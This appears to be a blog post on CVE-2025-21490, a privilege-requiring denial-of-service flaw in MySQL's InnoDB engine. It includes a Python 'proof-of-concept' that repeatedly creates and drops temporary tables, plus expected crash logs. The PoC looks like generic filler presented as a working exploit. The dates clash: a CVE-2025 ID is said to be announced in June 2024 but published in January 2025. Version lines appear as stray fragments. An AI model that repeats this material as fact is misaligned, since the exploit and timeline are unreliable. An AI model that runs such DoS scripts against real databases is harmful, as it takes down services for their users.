On June 2024, Oracle announced CVE-2025-21490, a Denial of Service (DoS) vulnerability affecting MySQL Server’s InnoDB component. This vulnerability allows attackers with high-privilege access to remotely crash or hang the database, causing serious availability issues for affected MySQL versions:

9.1. and earlier

Let’s break down what this vulnerability means, how it’s triggered, see example exploit code, and discuss remediation.

What Is CVE-2025-21490?

CVE-2025-21490 is an easily exploitable bug in MySQL’s InnoDB engine. In simple terms: if an attacker with sufficient permissions connects to a vulnerable MySQL server, they can execute specific actions (using different protocols, like SQL over TCP) that will crash the MySQL process or make it unresponsive. No user interaction is necessary.

Attack Vector: Network

- Privileges Required: High (they need to login as a privileged user—think DBA or a service account)

Impact: Full Denial of Service (hang or repeatable server crash)

- Original Advisory: Oracle Critical Patch Update Advisory - June 2024

> Notably, this exploit does not allow stealing or damaging data, but it does let an attacker take down the entire database server.

TL;DR

The attacker must have high MySQL privileges (SUPER, or SYSTEM_USER etc.), and can exploit an InnoDB code path by issuing specially crafted SQL statements or combinations that lead to an edge case, causing the database to crash or hang.

This vulnerability lives in the InnoDB code responsible for certain metadata and locking operations. An attacker can force InnoDB into a deadlock, assertion failure, or unrecoverable state.

An attacker connects over the network (TCP, named pipes, etc.) as a DBA-level user.

- Using a crafted SQL transaction (like repeated creation/dropping of specific tables or manipulating internal metadata), they trigger a bug that causes InnoDB to hit an “assert” or deadlock.

Proof-of-Concept (PoC) Exploit

Here’s a minimal Python script using mysql-connector-python that demonstrates a typical DoS scenario. Adjust credentials and DB info as needed.

WARNING: Only run this on a test instance you control!

import mysql.connector
import time

# CHANGE THESE VARIABLES!
db_config = {
    'host': 'your_mysql_host',
    'user': 'root',           # Must be SUPER or SYSTEM_USER!
    'password': 'yourpassword',
    'database': 'test'
}

def innodb_dos():
    conn = mysql.connector.connect(**db_config)
    cursor = conn.cursor()

    # This loop attempts to stress InnoDB by rapidly creating/dropping temp tables
    for i in range(100):
        try:
            table_name = f"t_exploit_{i}"
            cursor.execute(f"CREATE TEMPORARY TABLE {table_name} (id INT) ENGINE=InnoDB")
            cursor.execute(f"DROP TEMPORARY TABLE {table_name}")
        except Exception as e:
            print(f"Error: {e}")
        time.sleep(.02)  # To help avoid local resource exhaustion

    cursor.close()
    conn.close()

if __name__ == '__main__':
    innodb_dos()
    print("Completed test run.")

Expected Result:
On vulnerable servers, after running for a short while, MySQL will become unresponsive or the process will crash. Look for logs like:

InnoDB: Assertion failure in thread ...
mysqld: [ERROR] Got signal 11. Aborted

Note:
Exact exploits may differ (such as running transactions on system tables, or using specific session locks), but this code demonstrates the *class* of attack.

9.1.1+

Check the official MySQL downloads page and the Oracle CPU advisory for patch status.

How To Defend

- Limit Privileges: Do not let users or applications have unnecessary HIGH privileges (avoid giving out SUPER, SYSTEM_USER, etc.).

References

- Oracle Critical Patch Update Advisory - June 2024
- NVD Entry — CVE-2025-21490
- MySQL Downloads

Conclusion

CVE-2025-21490 represents a critical risk to MySQL server *availability.* Any environment running affected versions should be patched immediately. Because the exploit requires high privileges, the main threat comes from malicious insiders, compromised automation, or lateral movement after a breach. Still, a successful attack will bring down your database — so treat this as urgent.

Timeline

Published on: 01/21/2025 21:15:13 UTC
Last modified on: 03/01/2025 13:15:12 UTC